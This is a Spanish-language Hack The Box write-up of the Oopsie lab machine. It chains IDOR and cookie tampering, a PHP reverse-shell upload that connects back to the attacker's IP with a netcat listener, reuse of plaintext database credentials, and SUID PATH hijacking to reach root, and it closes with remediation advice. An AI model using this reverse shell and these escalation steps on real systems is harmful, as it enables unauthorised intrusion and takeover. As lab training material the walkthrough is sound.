

Hack The Box — Oopsie Writeup

Guía Técnica Detallada de Explotación y Escalada de Privilegios

Máquina:	Oopsie	Dificultad:	Muy Fácil
S.O.:	Linux	Enfoque:	OWASP Top 10, IDOR, PATH Hijacking, SUID

1. Resumen Ejecutivo

Oopsie es una infraestructura Linux de dificultad básica diseñada para demostrar de manera práctica el impacto devastador que poseen la exposición inadvertida de información corporativa (*Information Disclosure*) y las fallas críticas en los mecanismos de control de acceso a recursos (*Broken Access Control*).

A través de este documento técnico, analizaremos paso a paso la cadena de ataque completa: desde el reconocimiento externo de los servicios, pasando por la manipulación de estados de sesión del protocolo HTTP mediante técnicas IDOR, el bypass de carga de artefactos maliciosos hacia la obtención de ejecución remota de comandos (RCE), hasta culminar en una elevación local de privilegios manipulando el entorno de ejecución de un binario SUID mal diseñado.

2. Fase de Reconocimiento y Enumeración

El ciclo de vida del ataque comienza con la fase de descubrimiento de vectores de entrada activos mediante la herramienta de escaneo de red `nmap`. Nuestro objetivo es mapear puertos abiertos e identificar los demonios del sistema y sus respectivas versiones.

```
nmap -sC -sV -p- --min-rate 5000 10.10.10.28 -oN nmap_report.txt
```

Análisis de Resultados:

- **Puerto 22/tcp (SSH):** Servicio OpenSSH 7.6p1 corriendo sobre Ubuntu Linux. Vector de ataque descartado de forma inicial debido a la ausencia de credenciales válidas y vulnerabilidades críticas conocidas en dicha versión.
- **Puerto 80/tcp (HTTP):** Servidor web Apache httpd 2.4.29. Representa la superficie de ataque primaria expuesta al exterior.

Inspección del Entorno Web

Al interactuar con el recurso web expuesto en `http://10.10.10.28`, visualizamos el portal corporativo de una firma denominada "MegaCorp Auto". Navegando mediante la funcionalidad nativa del sitio

descubrimos un mecanismo que nos permite autenticarnos como usuarios de tipo invitado (*Login as Guest*).

3. Explotación Web y Acceso Inicial

Vulnerabilidad Identificada: Insecure Direct Object Reference (IDOR) & Cookie Manipulation

La aplicación web expone un parámetro identificador secuencial crudo en la URL y delega la lógica de control de autorización a cookies estáticas fácilmente modificables por el cliente.

Paso 1: Análisis de los Tokens de Sesión

Una vez accedemos bajo el perfil de invitado, somos redirigidos a la ruta dinámica: `/cdn-cgi/login/admin.php?id=2`. Inspeccionando el almacenamiento local del navegador (F12 -> Storage -> Cookies), detectamos la estructura de los valores de sesión:

- `role` = `guest`
- `user` = `34322`

Paso 2: Escalada Horizontal y Vertical de Privilegios

Dado que el parámetro `id` de la URL es secuencial, realizamos un proceso iterativo de enumeración manual. Al modificar el parámetro a `?id=1`, el backend responde enviando la información asociada al usuario administrador de la plataforma, revelando los siguientes datos confidenciales en la interfaz:

- **Username:** admin
- **Access ID (User Cookie):** 34232

Habiendo obtenido estos identificadores únicos, procedemos a realizar un secuestro y suplantación de la sesión directamente sobre nuestras cookies locales en el navegador, sustituyendo los valores actuales por los del perfil privilegiado:

```
role = admin
user = 34232
```

Al refrescar la página web con las nuevas variables inyectadas, el sistema nos procesa como el Administrador legítimo de la infraestructura, desplegando un menú oculto llamado **Upload**.

Paso 3: Subida Arbitraria de Archivos (RCE via PHP Reverse Shell)

El módulo de carga expuesto carece de procesos estrictos de validación o saneamiento del tipo mime o la extensión de los archivos en el servidor. Aprovechando esta deficiencia, preparamos un archivo malicioso `shell.php` basado en los scripts de conexión inversa estándar de Pentestmonkey, modificando los sockets de red para que apunten a nuestra dirección IP de la interfaz de VPN de Hack The Box y a nuestro puerto de escucha:

```
<?php
// PHP Reverse Shell simplificada
$ip = '10.10.14.XX'; // Reemplazar con tu IP de HTB
$port = 4444;        // Reemplazar con tu puerto de escucha
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>
```

Cargamos el script a través del panel comprometido. Tras una enumeración de directorios comunes, validamos que los elementos subidos se consolidan dentro del subdirectorio expuesto `/uploads/`. Antes de invocar el archivo, abrimos un socket de escucha local en nuestra máquina utilizando Netcat:

```
nc -lvnp 4444
```

Seguidamente, forzamos la interpretación del script en el servidor navegando directamente hacia `http://10.10.10.28/uploads/shell.php`. De forma inmediata, recibimos un socket inverso interactivo bajo el contexto operacional de la cuenta de servicios mínimos de red `www-data`.

4. Movimiento Lateral

Para mitigar la inestabilidad intrínseca de una shell web básica, realizamos un tratamiento completo de la terminal TTY mediante Python para habilitar el control de procesos interactivos (como el uso de `su` o comandos interactivos):

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
# En nuestra terminal local presionamos: CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
```

Extracción de Credenciales

Procedemos a revisar los directorios del código fuente de la aplicación web en búsqueda de configuraciones de bases de datos o archivos remanentes que contengan vectores de autenticación. Encontramos el archivo de conexión en el directorio restringido de control:

```
cat /var/www/html/cdn-cgi/login/db.php
```

Contenido del archivo extraído:

```
<?php
$conn = mysqli_connect("localhost", "robert", "M3g4C0rpM4n4g3m3nt!", "garage");
?>
```

El script revela una contraseña en texto plano para el usuario **robert**. Validamos si el usuario reutiliza sus claves en los mecanismos de autenticación locales del sistema operativo e iniciamos sesión:

```
su robert
```

La autenticación es exitosa. Al haber pivotado con éxito a una cuenta local regular, nos dirigimos a su directorio principal para recopilar el primer objetivo del laboratorio: `cat /home/robert/user.txt`.

5. Escalada Local de Privilegios (Root)

Iniciamos un proceso de auditoría local sobre el sistema operativo buscando configuraciones anómalas, específicamente archivos ejecutables que cuenten con el bit **SUID (Set User ID)** activo, el cual permite que un programa se ejecute temporalmente con los privilegios del propietario del archivo (en este caso, `root`).

```
find / -perm -4000 -type f 2>/dev/null
```

Entre los binarios estándar del sistema, identificamos una aplicación personalizada fuera de lo común: `/usr/bin/bugtracker`. Al inspeccionar sus características y ejecutarla, descubrimos que solicita de forma interactiva la inserción de un número identificador de reporte. Su comportamiento interno indica que invoca el comando estándar de Linux `cat` de la siguiente forma interna aproximada: `cat /root/reports/[ID]`.

Vulnerabilidad Crítica: PATH Hijacking por Llamada Relativa

El binario interactúa con utilidades del sistema utilizando llamadas relativas ("cat") en lugar de especificar rutas absolutas puras ("/bin/cat"). Esto nos permite tomar el control de la ruta de búsqueda de ejecutables del entorno operativo.

Estrategia de Explotación

Dado que el sistema confía en la variable de entorno `$PATH` para ubicar la ruta de `cat`, inyectaremos un ejecutable fraudulento bajo el mismo nombre dentro de un directorio transitorio sobre el cual poseamos permisos totales de escritura, como es el caso de `/tmp`.

- 1 Creamos un binario o script malicioso simulando ser la utilidad legítima:

```
echo "/bin/bash" > /tmp/cat
chmod +x /tmp/cat
```

- 2 Alteramos la variable de entorno de búsqueda de rutas (`$PATH`), anteponiendo el directorio `/tmp` antes de cualquier otra ruta del sistema operativo. Esto fuerza al sistema a buscar ejecutables allí primero:

```
export PATH=/tmp:$PATH
```

- 3 Ejecutamos el binario SUID vulnerable:

```
/usr/bin/bugtracker
```

Al momento en que la aplicación `bugtracker` intenta mandar a llamar a `cat` para leer el reporte, el flujo operativo del procesador consulta el `$PATH` modificado, localiza nuestro binario falso en `/tmp/cat` y lo ejecuta bajo el contexto e identidad del propietario del binario SUID (**root**).

```
whoami
# root
```

De esta manera, el sistema nos otorga inmediatamente una shell interactiva con máximos privilegios sobre el servidor, permitiendo la lectura directa del secreto final del laboratorio en `/root/root.txt`.

6. Recomendaciones de Remediación y Mitigación

- **Saneamiento de Parámetros en Backend:** Implementar controles basados en listas de control de acceso robustas del lado del servidor (RBAC) vinculadas directamente a variables de sesión criptográficamente seguras, impidiendo que la alteración manual del parámetro `id` exponga cuentas de terceros.
- **Segurización del File Upload:** Restringir de forma estricta los tipos de extensiones aceptadas mediante validaciones basadas en firmas reales del archivo (Magic Numbers). Los directorios destinados a almacenamiento deben contar con la bandera de montaje `noexec` para inhabilitar la ejecución de scripts.
- **Prácticas de Desarrollo Seguro en Binarios SUID:** Se debe evitar el uso de permisos SUID a menos que sea estrictamente indispensable. En caso de requerirse, todas las llamadas a comandos o librerías externas del sistema operativo deben declararse de forma obligatoria empleando rutas absolutas sanitizadas (por ejemplo, declarar explícitamente `/bin/cat` en lugar del comando relativo `cat`).